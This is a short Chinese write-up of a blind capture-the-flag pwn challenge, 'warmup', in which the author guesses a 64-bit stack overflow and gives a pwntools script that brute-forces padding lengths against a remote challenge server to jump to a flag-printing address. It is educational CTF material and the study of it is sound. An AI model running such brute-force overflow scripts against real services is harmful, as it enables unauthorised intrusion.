攻防世界pwn題:warmup
0x00:前言
這道題是盲打題,就是沒有給附件,只給了遠程環境。
但這道題并不難,由于這種形式少見,所以我就在這里記錄一下。
下面看看我的做題思路吧~
0x01:做題思路
1、初覽

題目并沒有給附件,這時候就可以做好盲打的準備了。
2、連接遠程并分析
用nc連接一下遠程:

給了一個地址,0x40060d,看地址是個64位的程序。給了一個地址,大膽猜測是get_shell或者是cat_flag相關的。然后我們可以操作的是輸入數據,回車也沒有任何返回值,這也可以排除格式化字符串漏洞。我們可以先考慮最簡單的棧溢出。
3、編寫exp
from pwn import * sys = 0x40060d for i in range(100): print(i) try: io = remote("111.200.241.244",53599) payload = b'A'*i + p64(sys) io.recvuntil(">") io.sendline(payload) print(io.recv()) io.interactive() except: io.close()
從0到99依次嘗試,判斷溢出所需長度。
在長度為72時,打印出了flag:

注意,這里要用try……except結構處理異常,不然就會報錯導致退出執行:

tolele
2022-07-02

浙公網安備 33010602011771號